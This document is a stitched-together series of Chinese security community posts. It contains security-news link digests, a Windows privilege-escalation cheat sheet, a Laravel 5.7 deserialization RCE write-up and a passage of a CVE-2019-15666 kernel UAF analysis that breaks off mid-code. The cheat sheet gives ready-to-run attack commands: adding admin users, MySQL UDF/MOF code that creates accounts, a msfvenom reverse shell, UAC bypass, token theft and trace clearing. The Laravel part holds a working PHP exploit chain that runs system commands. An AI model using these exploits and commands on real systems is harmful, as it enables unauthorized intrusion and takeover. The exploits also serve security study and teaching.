**热点概要： **部分感染坏兔机器加密文件可不付钱解密** 、 ** ** **Basetool地下黑客论坛信息泄漏，黑客勒索5万美元****** 、
**如何使用Powershell脚本收集sccm日志文件** 、 ** **Linux通过Voltage Fault注入实现提权**** 、 **
**Uber中的DOM XSS**** 、DroidCon London 2017 PPT。**
****
**资讯类：**
部分感染坏兔机器加密文件可不付钱解密
<https://www.bleepingcomputer.com/news/security/some-bad-rabbit-victims-can-recover-files-without-paying-ransom/>
微软修复了黑客可以偷取用户NTLM密码哈希值的漏洞
<http://securityaffairs.co/wordpress/64871/hacking/windows-login-credentials-hack.html>
Basetool地下黑客论坛信息泄漏，黑客勒索5万美元
<http://securityaffairs.co/wordpress/64890/data-breach/basetools-underground-forum-hacked.html>
**技术类：**
简单6条让你了解HTTPS
<https://www.troyhunt.com/the-6-step-happy-path-to-https/>
HPKP的攻击与见解
<https://scotthelme.co.uk/im-giving-up-on-hpkp/>
如何使用Powershell脚本收集sccm日志文件
<http://ccmexec.com/2017/10/powershell-script-to-collect-sccm-log-files-from-clients-using-run-script/>
跨平台后门生成工具
<https://github.com/Souhardya/Zerodoor>
Netcat与Shellcode：反向Shell
<http://morgawr.github.io/hacking/2014/03/29/shellcode-to-reverse-bind-with-netcat>
Uber中的DOM XSS
<http://stamone-bug-bounty.blogspot.ae/2017/10/dom-xss-auth_14.html>
树莓派自制网络监视器
<https://www.sneakymonkey.net/2016/10/30/raspberrypi-nsm/>
DroidCon London 2017 PPT
<https://github.com/brompwnie/DroidConLondon2017>
Linux通过Voltage Fault注入实现提权
<https://www.riscure.com/uploads/2017/10/Riscure_Whitepaper_Escalating_Privileges_in_Linux_using_Fault_Injection.pdf> | 社区文章 |
# 5月10日安全热点 - mac上signal app的消息删除也会存储在硬盘上
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞 Vulnerability
ADV170017:office安装过程中ose.exe以管理员权限运行,同时利用其具有的dll劫持漏洞可以执行任意代码
<http://t.cn/R3wgZuY>
CVE-2018-1118:linux内核中vhost_new_msg函数没有正确初始化内存导致信息泄漏
<http://t.cn/R3wgZBu>
CVE-2018-1046:PowerDNS的dnsreplay中的缓冲区溢出
<http://t.cn/R3wgZro>
Jenkins安全更新修复了多个漏洞
<http://t.cn/R3wgZdC>
office365中名为baseStriker的0day已经被野外利用
<http://t.cn/R3wgZgx>
CVE-2018-1000155:OpenFlow协议握手过程中的多个漏洞
<http://t.cn/R3wDxcS>
firefox 60修复多个安全漏洞
<http://t.cn/R32ROdb>
firefox ESR 52.8修复多个安全漏洞
<http://t.cn/R32ROde>
## 恶意软件 Malware
第一个能在设备重启后继续存活的IOT Botnet
<http://t.cn/R3wgZ8v>
警惕AGENTTESLA商业键盘记录器新型变种
<http://t.cn/R3wnqtY>
史上最能穷折腾的挖矿木马520Miner,控制数千台机器挖矿却一毛钱都没挣到
<http://t.cn/R3wgZEd>
伪造微软等企业签名,恶性病毒偷比特币+挖矿
<http://t.cn/R3wgZmI>
Talos对销毁数据的恶意软件的总结
<http://t.cn/R3AzGiH>
Kuik:一个简单但是烦人的adware
<http://t.cn/R3AzGXb>
腾讯反病毒实验室对GandCrab勒索病毒家族的总结分析
<http://t.cn/R3AZPMn>
CISCO TALOS对Gandcrab勒索病毒的分析
<http://t.cn/R32RO3c>
声称会员资格被暂停的Netflix钓鱼邮件
<http://t.cn/R32WHZv>
## 安全报告 Security Report
FBI发布2017年网络犯罪报告
<http://t.cn/R3Zp9gG>
2017中国企业邮箱安全性研究报告
<http://t.cn/R3ZObws>
区块链产业安全分析报告
<http://t.cn/R3Z8SYd>
2017身份违规使用报告
<http://t.cn/R3AKkfc>
## 安全资讯 Security Information
央行整治APP代查征信乱象,泄漏征信信息考核直接零分
<http://t.cn/R3wgZed>
notepad现在终于可以识别*nix/mac上的换行符了
<http://t.cn/R3ZIySP>
百度软件中心版putty等多款软件存在捆绑下载
<http://t.cn/R3wd9Y5>
pip中的ssh-decorator软件包存在后门盗取SSH凭据,目前已被移除
<http://t.cn/R3wgZkH>
Firefox 61将阻止依赖不安全FTP协议的子资源加载
<http://t.cn/R3AzGoC>
mac上signal app中的消息即使被设置为自删除也会存储在硬盘上
<http://t.cn/R32RODE>
多个操作系统供应商为MOV SS/POP SS指令漏洞发布补丁
<http://t.cn/R32jUnq>
## 安全研究 Security Research
微软在Excel中添加自定义JS函数之后研究人员立刻找到了利用其挖矿的方法
<http://t.cn/R3wnIeV>
DarkHotel APT团伙新近活动的样本分析
<http://t.cn/R3PmcIP>
360代码卫士帮助Linux内核发现多个安全漏洞(附技术分析)
<http://t.cn/R3wgZsk>
vmp3.0.9全保护拆分解析
<http://t.cn/R3wgwvD>
AMD GPU的断点指令
<http://t.cn/R3wgwP3>
微信小程序逆向辅助插件工具开发详解
<http://t.cn/R3wgw7z>
思科RV110W路由器0day漏洞分析及利用报告
<http://t.cn/R3wMWKY>
win32k类型隔离中的失误导致仍然可以利用GDI object来完成任意地址读写
<http://t.cn/RusIqqx>
禁用import的情况下绕过python沙箱
<http://t.cn/RuFHkIW>
对UAF漏洞CVE-2016-0167的分析和利用
<http://t.cn/R3wMRSs>
大脸猫讲逆向之iOS上PDFExpert阅读器的内购功能破解
<http://t.cn/R3wMBKA>
Windows内核漏洞分析:CVE-2018-0744
<http://t.cn/R3wl3rg>
LG手机中的远程代码执行漏洞
<http://t.cn/R3AzG0V>
HTTPS:为什么只有一个绿色的锁是不够的
<http://t.cn/R32RWhC>
一种新的进程注入技术可以攻击windows CLI程序
<http://t.cn/R3AKk2q>
各种白盒加密实现和对它们的实际攻击
<http://t.cn/RciL8v1>
360安全团队对浏览器0day漏洞(CVE-2018-8174)的详细分析
<http://t.cn/R3AKDkz>
卡巴斯基对浏览器0day漏洞(CVE-2018-8174)的详细分析
<http://t.cn/R3wgZBA>
【以上信息整理于[ https://cert.360.cn/daily](https://cert.360.cn/daily) 】
360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。
微信公众号：360cert | 社区文章 |
## 提权基础
### 权限划分
* `Administrators`：管理员组，默认情况下，Administrators中的用户对计算机/域有不受限制的完全访问权。
* `Power Users`：高级用户组,Power Users 可以执行除了为 Administrators 组保留的任务外的其他任何操作系统任务。
* `Users`：普通用户组,这个组的用户无法进行有意或无意的改动。
* `Guests`：来宾组,来宾跟普通Users的成员有同等访问权，但来宾帐户的限制更多
* `Everyone`：所有的用户，这个计算机上的所有用户都属于这个组。
### 基础命令
$ query user # 查看用户登陆情况
$ whoami # 当前用户权限
$ set # 环境变量
$ hostname # 主机名
$ systeminfo # 查看当前系统版本与补丁信息
$ ver # 查看当前服务器操作系统版本
$ net user # 查看用户信息
$ net start # 查看当前计算机开启服务名称
$ netstat -ano # 查看端口情况
$ netstat -ano|find "3389" # 查看指定端口
$ tasklist # 查看所有进程占用的端口
$ taskkil /im xxx.exe /f # 强制结束指定进程
$ taskkil -PID pid号 # 结束某个pid号的进程
$ tasklist /svc|find "TermService" # 查看服务pid号
$ wmic os get caption # 查看系统名
$ wmic product get name,version # 查看当前安装程序
$ wmic qfe get Description,HotFixID,InstalledOn # 查看补丁信息
$ wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094" # 定位特定补丁
# 添加管理员用户
$ net user username(用户名) password(密码) /add # 添加普通用户
$ net localgroup adminstrators username /add # 把普通用户添加到管理员用户组
# 如果远程桌面连接不上可以添加远程桌面组
$ net localgroup "Remote Desktop Users" username /add
## 系统漏洞提权
>
> 系统漏洞漏洞提权一般就是利用系统自身缺陷，用来提升权限。通常利用`systeminfo`查看补丁记录，来判断有哪个补丁没打，然后使用相对应的exp进行提权。
### 查询补丁信息
* [WinSystemHelper](https://github.com/brianwrf/WinSystemHelper)：检查可利用的漏洞。该工具适合在任何 **Windows** 服务器上进行已知提权漏洞的检测
* 上传`WinSysHelper.bat`、`explt2003.txt`、`expgt2003.txt`，运行bat查看结果
* 然后在可利用的Exp中任意下载一个并执行即可
$ WinSysHelper.bat
* [Sherlock](https://github.com/rasta-mouse/Sherlock)：在Windows下用于本地提权的PowerShell脚本
* 分析漏洞出漏洞后利用对应Exp即可
# 启动Powershell
$ powershell.exe -exec bypass
# 本地加载脚本
$ Import-Module Sherlock.ps1
# 远程加载脚本
$ IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
# 检查漏洞，Vulnstatus为Appears Vulnerable即存在漏洞
$ Find-AllVulns
* 提权辅助平台
* [漏洞编号查询](https://i.hacking8.com/tiquan/)：根据补丁信息查找漏洞编号
* [Exp查询](https://bugs.hacking8.com/tiquan/)：根据补丁信息查找Exp
* [Windows-Kernel-Exploits](https://github.com/SecWiki/windows-kernel-exploits)：Windows平台提权漏洞集合
### 提权步骤
> 除了需要注意每种漏洞所适用的详细系统版本及位数外，实战中还需要事先免杀并调试好Exp，否则可能有蓝屏等风险。
* 先运行`systeminfo`，并将其中的修补程序内容复制到[提权辅助平台 - Exp查询](https://bugs.hacking8.com/tiquan/)进行查询Exp。如：
[01]: KB2999226
[02]: KB976902
* 然后根据可选补丁编号以及目标系统，选择对应的Exp下载运行即可。
* 另外还需要注意 **提权Exp的运行方式** ，一般有以下几种：
* 直接执行exe程序，成功后会打开一个cmd窗口，在新窗口中权限就是`system`
* 在WebShell中执行exe程序，执行方式为`xxx.exe whoami`，成功后直接执行命令，再修改命令内容，可以执行不同的命令
* 利用MSF等工具
* C++源码，Python脚本，PowerShell脚本等特殊方式
## 数据库提权
### MySQL
* 前提：拿到Root密码
* 注意：
* MySQL5.7以后`secure-file-priv`的问题
* MySQL5.7后，系统的用户表`mysql.user`中的密码字段已从`password`修改为`authentication_string`
#### UDF提权
* 原理：通过root权限，导入`udf.dll`到系统目录下，可以通过`udf.dll`调用执行cmd
* 利用条件
* 系统版本：Win2000、WinXP、Win2003
* 具有对MySQL的`insert/delete`权限的账号，用以创建和抛弃函数。最好是root，或具备root账号所具备的权限的其它账号。
##### UDF木马提权
* 已有Webshell的情况下可以直接上[UDF马](https://github.com/gwjczwy/gwjczwy.github.io/blob/master/img/mysql提权/udf.php)
##### UDF手工提权
* 获取UDF：将`sqlmap\data\udf\`中找到对应系统的`dll_`文件，复制到`sqlmap\extra\cloak\`，输入以下命令即可得到
* SQLMap自带的shell及一些二进制文件，为了防止被误杀都经过异或方式编码，不能直接使用，需要利用SQLMap自带的解码工具`cloak.py`进行解码
$ python cloak.py -d -i lib_mysqludf_sys.dll_
* 寻找目录
* `MySQL<5.1`，UDF导出到系统目录`c:/windows/system32/`
* `MySQL>5.1`，UDF导出到MySQL安装目录`lib\plugin\`目录(该目录默认不存在，需手动创建)
-- 寻找MySQL目录
mysql> select @@basedir;
mysql> show variables like '%plugin%';
-- 利用NTFS ADS创建目录,有Webshell的情况下可直接菜刀创建
mysql> select '123' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION';
mysql> select '123' into dumpfile 'C:\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
* 导出UDF：直接上传没有权限，可通过MySQL语句写入
-- 在【本地】以二进制读取UDF并转换十六进制
mysql> select hex(load_file("C:\\udf.dll")) into dumpfile 'C:\\myudf.txt';
-- 在【靶机】写入UDF,这里将UDF文件命名为myudf.dll
mysql> select unhex ('十六进制UDF') into dumpfile "C:\\Program Files\\MySQL\\lib\\plugin\\myudf.dll";
-- 出现secure-file-priv相关报错，需要修改mysql配置文件my.ini或mysql.cnf
-- secure_file_priv=/ # 允许导入到任意路径
* 利用UDF创建用户自定义函数
mysql> create function sys_eval returns string soname 'myudf.dll';
* 利用函数执行命令
mysql> select sys_eval("whoami")
#### MOF提权
##### MOF提权条件
* Windows 2003及以下版本
* MySQL启动身份具有权限去读写`c:/windows/system32/wbem/mof`目录
* `secure-file-priv`参数不为`null`
##### MOF提权原理
> MOF文件每五秒就会执行，而且是系统权限，通过MySQL使用`load_file`
> 将文件写入`/wbme/mof`，然后系统每隔五秒就会执行一次上传的MOF。MOF当中有一段是vbs脚本，可以通过控制这段vbs脚本的内容让系统执行命令，进行提权。
* `nullevt.mof`的利用代码如下：
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter {
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer {
Name = "consPCSV2";
ScriptingEngine = "JScript";
# 执行命令,新建用户naraku
ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user naraku 123456 /add\")";
};
instance of __FilterToConsumerBinding {
Consumer = $Consumer;
Filter = $EventFilter;
};
##### 提权步骤
* 将上面的脚本上传到有读写权限的目录下，如：`C:/xxx/`
* 使用sql语句将文件导入到`c:/windows/system32/wbem/mof/`下
* 这里不能使用`outfile`，因为会在末端写入新行，而MOF在被当作二进制文件时无法正常执行，所以需要用`dumpfile`导出一行数据。
select load_file("C:/xxx/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
* 当我们成功把MOF导出时，mof就会直接被执行，且5秒创建一次用户
##### 痕迹清除
* 提权成功后，就算被删号，MOF也会在五秒内将原账号重建，如果要删除入侵账号可以执行以下命令：
$ net stop winmgmt
$ del c:/windows/system32/wbem/repository
$ net start winmgmt
* 然后重启服务即可
#### 启动项提权
* 已知root密码
* `file_priv`不为`null`
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user naraku 123456 /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators naraku /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
### MSSQL
* 前提：拿到SA密码
#### 利用方式
* 传统`xp_cmdshell`利用
* `xp_cmdshell`被删如何恢复
* 借助COM组件执行命令
* 借助CLR执行命令（类似MySQL UDF）
* 本地Hash注入+端口转发/Socks实现无密码连接目标内网MSSQL
* 利用Windows访问令牌实现无密码连接目标内网MSSQL
### Oracle
* 通常情况下Oracle服务的运行权限都非常高
* MSF下各类自动化利用模块
* 通常情况下，Oracle服务的运行权限都比较高
## MSF提权
* 注意以下命令执行时的状态
* `$`：Linux命令行下
* `msf`：进入MSF控制台
* `meterpreter`：进入某个`session`
# 生成木马并放入靶机
$ msfvenom -p windows/meterpreter_reverse_tcp lhost=<攻击机IP> lport=<攻击机监听端口> -f exe -o /tmp/win.exe
# 攻击机监听
$ msfconsole
msf> use exploit/multi/handler
msf> set payload windows/meterpreter_reverse_tcp
msf> set lhost <攻击机IP>
msf> set lport <攻击机端口>
msf> exploit
# 靶机运行,此时攻击机MSF会接收到反弹的Shell,在MSF中运行shell命令
meterpreter> shell
C:\Users\Naraku\Desktop>whoami
naraku-win7\naraku
# 出现中文乱码可运行
# C:\Users\Naraku\Desktop>chcp 65001
### GetSystem
* 直接运行`getsystem`
meterpreter> getsystem
### BypassUAC
* 相关脚本
* `use exploit/windows/local/bypassuac`
* `use exploit/windows/local/bypassuac_injection`
* `use windows/local/bypassuac_vbs`
* `use windows/local/ask`
meterpreter> background # 后台session
msf> use exploit/windows/local/bypassuac
msf> set SESSION <session_id>
# 后台session时会返回session_id,如不清楚可以使用命令sessions -l
msf> run
### 内核提权
* 这里查询补丁跟前面`systeminfo`一样，配合[提权辅助平台 - 漏洞编号](https://i.hacking8.com/tiquan/)查询可利用漏洞编号
# 查询补丁
meterpreter> run post/windows/gather/enum_patches
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010
* 也可以使用`local_exploit_suggester`查询哪些Exp可以利用。
# 查询Exp
msf> use post/multi/recon/local_exploit_suggester
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run
* 这里将上一步查询到的Exp打了一遍发现都没有成功，回头一看发现 **原来是系统位数的原因** 。这里的`Meterpreter`运行在32位，而系统位数为64位。
* 因此需要做进程迁移，将`Meterpreter`迁移到一个64位的进程。
meterpreter> sysinfo # 查看位数
meterpreter> ps # 查看进程
meterpreter > migrate <PID> # 进程迁移
* 重复前面使用`local_exploit_suggester`那一步，可以看到现在查询的是64位的Exp
* 这里选择选个比较新的`CVE_2019_1458`
msf> use exploit/windows/local/cve_2019_1458_wizardopium
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITY\SYSTEM
### 令牌操纵
* `incognito`假冒令牌
meterpreter> use incognito
meterpreter> list_tokens -u # 查看可用的token
meterpreter> impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
meterpreter> execute -f cmd.exe -i –t # -t使用假冒的token 执行
meterpreter> rev2self # 返回原始token
* `steal_token`窃取令牌
meterpreter> ps # 查看进程
meterpreter> steal_token <PID> # 从指定进程中窃取token
meterpreter> drop_token # 删除窃取的token
### SMB系列RCE
> 基本绝迹
* MS08-067
* MS17-010
## 参考
* [系统提权入门思维导图](https://huntingday.github.io/img/Localprivilege.png)
* [MySQL之UDF提权](https://www.cnblogs.com/3ichae1/p/12909952.html)
* [内网渗透之——MySQL数据库提权之——UDF提权](https://blog.csdn.net/wsnbbz/article/details/104802100)
* [MySQL提权总结](https://gwjczwy.github.io/2020/07/20/mysql%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/)
* [Windows下三种MySQL提权剖析](https://xz.aliyun.com/t/2719#toc-14)
* [Metasploit的一些提权方法](https://blog.csdn.net/qq_42349134/article/details/100657705) | 社区文章 |
在前一阵的 **2019强网杯线下赛** 中，出现一道 **Laravel5.7 RCE**
漏洞的利用。之前有关注过这个漏洞，但没细究。比赛期间，原漏洞作者删除了详细的分析文章，故想自己挖掘这个漏洞利用链。本文将详细记录 **Laravel5.7
反序列化漏洞RCE链** 的挖掘过程。
## 漏洞环境
直接使用 **composer** 安装 **laravel5.7** 框架，并通过 `php artisan serve` 命令启动 **Web**
服务。
➜ html composer create-project laravel/laravel laravel57 "5.7.*"
➜ html cd laravel57
➜ laravel57 php artisan serve --host=0.0.0.0
在 **laravel57/routes/web.php** 文件中添加一条路由，便于我们后续访问。
// /var/www/html/laravel57/routes/web.php
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>
在 **laravel57/app/Http/Controllers/** 下添加 **DemoController** 控制器，代码如下：
// /var/www/html/laravel57/app/Http/Controllers/DemoController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
return "Welcome to laravel5.7";
}
}
## 漏洞链挖掘
可用于执行命令的功能位于 **Illuminate/Foundation/Testing/PendingCommand** 类的 **run**
方法中，而该 **run** 方法在 **__destruct** 方法中调用。我们可以参阅官方提供的 **API**
说明手册，来看下各属性和方法的具体含义。
接着我们看下 **run** 方法的具体代码。如下图所示，当执行完 **mockConsoleOutput** 方法后，程序会在 **第22行**
执行命令。那么要想利用这个命令执行，我们就要保证 **mockConsoleOutput** 方法在执行时不会中断程序（如exit、抛出异常等）。
我们跟进 **mockConsoleOutput** 方法。在下图 **第6行** 代码，我们先使用单步调试直接跳过，观察代码是否继续执行到
**第10行** 的 **foreach** 代码。如果没有，我们则需要对 **第6行** 代码进行详细分析。经过调试，我们会发现程序正常执行到
**第10行** ，那 **第6行** 的代码我们就可以先不细究。
从上图可看出， **第10行** **$this- >test** 对象的 **expectedQuestions**
属性是一个数组。如果这个数组的内容可以控制，当然会方便我们控制下面的链式调用。所以我们这里考虑通过 **__get** 魔术方法来控制数据，恰巧
**laravel** 框架中有挺多可利用的地方，这里我随意选取一个 **Faker\DefaultGenerator** 类。
所以我们构造如下 **EXP** 继续进行测试。同样，使用该 **EXP** 在 **foreach** 语句处使用单步跳过，看看是否可以正常执行到
**$this- >app->bind(xxxx)** 语句。实际上，这里可以正常结束 **foreach** 语句，并没有抛出什么异常。同样，我们对
**$this- >app->bind(xxxx)** 语句也使用单步跳过，程序同样可以正常运行。
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test;
$this->app = $app;
$this->command = $command;
$this->parameters = $parameters;
}
}
}
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation{
class Application{
public function __construct() { }
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$application = new Illuminate\Foundation\Application();
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}
?>
使用上面的 **EXP** ，我们已经可以成功进入到最后一步，而这里如果直接单步跳过就会抛出异常，因此我们需要跟进细看。
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
这里的 **$this- >app** 实际上是 **Illuminate\Foundation\Application** 类，而在类后面使用
**[]** 是什么意思呢？一开始，我以为这是 **PHP7** 的新语法，后来发现并不是。我们在上面的代码前加上如下两段代码，然后动态调试一下。
$kclass = Kernel::class;
$app = $this->app[Kernel::class];
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
可以看到 **Kernel::class** 对应固定的字符串 **Illuminate\Contracts\Console\Kernel** ，而单步跳过
`$app = $this->app[Kernel::class];`
代码时会抛出异常。跟进这段代码，我们会发现其会依次调用如下类方法，这些我们都不需要太关注，因为没有发现可控点。
我们要关注的点在最后调用的 **resolve** 方法上，因为这段代码中有我们可控的利用点。如下图中 **角标1** 处，可以明显看到程序
**return** 了一个我们可控的数据。也就是说，我们可以将任意对象赋值给 **$this- >instances[$abstract]**
，这个对象最终会赋值给 `$this->app[Kernel::class]` ，这样就会变成调用我们构造的对象的 **call**
方法了。（下图的第二个点是原漏洞作者利用的地方，目的也是返回一个可控类实例，具体可以参看文章：[laravelv5.7反序列化rce(CVE-2019-9081)](https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/)
）
现在我们再次构造如下 **EXP** 继续进行尝试。为了避免文章篇幅过长，与上面 **EXP** 相同的代码段用省略号代替。
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
...
}
}
namespace Faker{
class DefaultGenerator{
...
}
}
namespace Illuminate\Foundation{
class Application{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace{
$defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
echo urlencode(serialize($pendingcommand));
}
?>
我们用上面生成的 **EXP** 尝试攻击，会发现已经可以成功执行命令了。
这里我们再来说说为什么这里 **$this- >instances['Illuminate\Contracts\Console\Kernel']**
我选择的是 **Illuminate\Foundation\Application** 类，我们跟着 **EXP** 。
**Illuminate\Foundation\Application** 类继承了 **Illuminate\Container\Container**
类的 **call** 方法，其调用的又是 **Illuminate\Container\BoundMethod** 的 **call**
静态方法。而在这个静态方法中，我们看到一个关键函数 **call_user_func_array** ，其在闭包函数中被调用。
我们先来看一下这个闭包函数在 **callBoundMethod** 静态方法中是如何被调用的。可以看到在 **callBoundMethod**
方法中，返回了闭包函数的调用结果。而闭包函数中返回了 `call_user_func_array($callback,
static::getMethodDependencies(xxxx))` ，我们继续看这个 **getMethodDependencies**
函数的代码。该函数仅仅只是返回 **$dependencies** 数组和 **$parameters** 的合并数据，其中
**$dependencies** 默认是一个空数组，而 **$parameters** 正是我们可控的数据。因此，这个闭包函数返回的是
`call_user_func_array(可控数据,可控数据)` ，最终导致代码执行。
## 总结
个人认为 **PHP** 相关的漏洞中，最有意思的部分就属于 **POP链**
的挖掘。通过不断找寻可利用点，再将它们合理的串成一条链，直达漏洞核心。为了防止思维被固化，个人不建议一开始就去细看他人的漏洞分析文章，不妨自己先试着分析分析。待完成整个漏洞的分析（或遇到问题无法继续下去时），再看他人的文章，学习他们优秀的思路，从而提高自身的代码审计能力。 | 社区文章 |
# CVE-2019-15666 xfrm UAF 8字节写NULL提权分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
CVE-2019-15666是个被低估的漏洞，NVD给的评分只有4.4分。但是2020年5月份，据外媒报道，英国、德国、瑞士和西班牙等国超级计算机中心纷纷报告被加密货币恶意软件感染，导致多个高性能计算集群关闭。根据英国网络安全公司Cado
Secutiry调查分析，黑客很有可能是通过利用非法得来的SSH凭证获得了超级计算机集群的权限，然后利用CVE-2019-15666漏洞进行了提权，然后部署了恶意挖矿程序。这次受影响的超级计算机有不少都是用于新冠肺炎研究的，因此这个时候尝试利用这些超级计算机来挖矿真的是非常不道德的。
**影响版本** ：Linux v5.0.19 以前。v5.0.19已修补，v5.0.18未修补。 4.4分。
**测试版本** ：Ubuntu 18.04（4.15.0-20-generic #21）
[exploit及测试环境下载地址](https://github.com/bsauce/kernel-exploit-factory)—<https://github.com/bsauce/kernel-exploit-factory>
**编译选项** ： **CONFIG_USER_NS=y** **CONFIG_SLAB=y** 所有含`NETLINK`和`XFRM`的配置全部选上。
`General setup` —-> `Choose SLAB allocator (SLUB (Unqueued Allocator))` —->
`SLAB`
在编译时将`.config`中的`CONFIG_E1000`和`CONFIG_E1000E`，变更为=y。[参考](https://blog.csdn.net/qq_16097611/article/details/104965045)
CONFIG_USER_NS=y
CONFIG_USERFAULTFD=y
CONFIG_DEBUG_INFO=y
// debug on running kernel with gdb
CONFIG_GDB_SCRIPTS=y
CONFIG_FRAME_POINTER=y
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
CONFIG_KDB_KEYBOARD=y
**漏洞描述** ：`net/xfrm/xfrm_user.c`中的
[verify_newpolicy_info()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_user.c#L1379)
错误处理了`dir`验证，导致[__xfrm_policy_unlink()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L2202)中出现
**越界访问**
。dir的范围本来是0~2，但从index计算dir时错误（policy2），导致dir超过3，后续将所有policy重新加入`bydst`
list时漏掉该policy2，释放`bydst`后但该policy2上的`pprev`指针仍指向释放后的policy1，将该policy2进行unlink时会导致
**空闲块8字节写null** （`*policy1->next = 0`），见`[12]`。
如果不构造policy1，直接对policy2进行unlink，只会导致 **越界减1** ，见`[8]`。
**补丁**
：[patch](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b805d78d300bcf2c83d6df7da0c818b0fee41427)
这里检查过后，后续还会通过`p->index`来计算`p->dir`（`p->dir = xfrm_policy_id2dir(p->index)` ->
`p->dir = p->index & 7`），`p->dir`前后不一致，导致未正确处理。
diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c
index a131f9ff979e1..8d4d52fd457b2 100644
--- a/net/xfrm/xfrm_user.c
+++ b/net/xfrm/xfrm_user.c
@@ -1424,7 +1424,7 @@ static int verify_newpolicy_info(struct xfrm_userpolicy_info *p)
ret = verify_policy_dir(p->dir);
if (ret)
return ret;
- if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) // p->index=4, p->dir=0即可绕过该检查。
+ if (p->index && (xfrm_policy_id2dir(p->index) != p->dir))
return -EINVAL;
return 0;
**保护机制** ：开启KASLR/SMEP/SMAP。
**利用总结**
：漏洞原本是个越界减1，可以利用别的路径来构造UAF，可以往空闲块上的8字节写null。漏洞对象`xfrm_policy`位于`kmalloc-1024`，cred结构位于`kmalloc-192`。首先利用`setxattr+userfaultfd`在`policy0`周围都喷射`kmalloc-1024`堆块，释放`policy0`后同时释放喷射块，促使该slab释放后被c子进程的red复用，然后触发UAF
空闲块8字节NULL写来修改cred中的`gid/suid`，再将当前用户添加到sudoers，即可提权。
* * *
## 1\. 漏洞分析
### 1.1 越界访问漏洞
**创建`xfrm_policy`**：用户采用特定的index和timer set来创建policy，参数是`XFRM_MSG_NEWSA`。
**漏洞链**
：[xfrm_add_policy()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_user.c#L1636)
->
[verify_newpolicy_info()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_user.c#L1379)
**`xfrm_policy`创建链**：[xfrm_add_policy()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_user.c#L1636)
->
[xfrm_policy_construct()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_user.c#L1602)
->
[xfrm_policy_alloc()](https://elixir.bootlin.com/linux/v5.0.18/source/net/xfrm/xfrm_policy.c#L379)
static int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,
struct nlattr **attrs)
{
struct net *net = sock_net(skb->sk);
struct xfrm_userpolicy_info *p = nlmsg_data(nlh);
struct xfrm_policy *xp;
struct km_event c;
int err;
int excl;
err = verify_newpolicy_info(p); // [1] 检查用户参数—xfrm_userpolicy_info结构
if (err)
return err;
err = verify_sec_ctx_len(attrs);
if (err)
return err;
xp = xfrm_policy_construct(net, p, attrs, &err);
if (!xp)
return err;
/* shouldn't excl be based on nlh flags??
* Aha! this is anti-netlink really i.e more pfkey derived
* in netlink excl is a flag and you wouldnt need
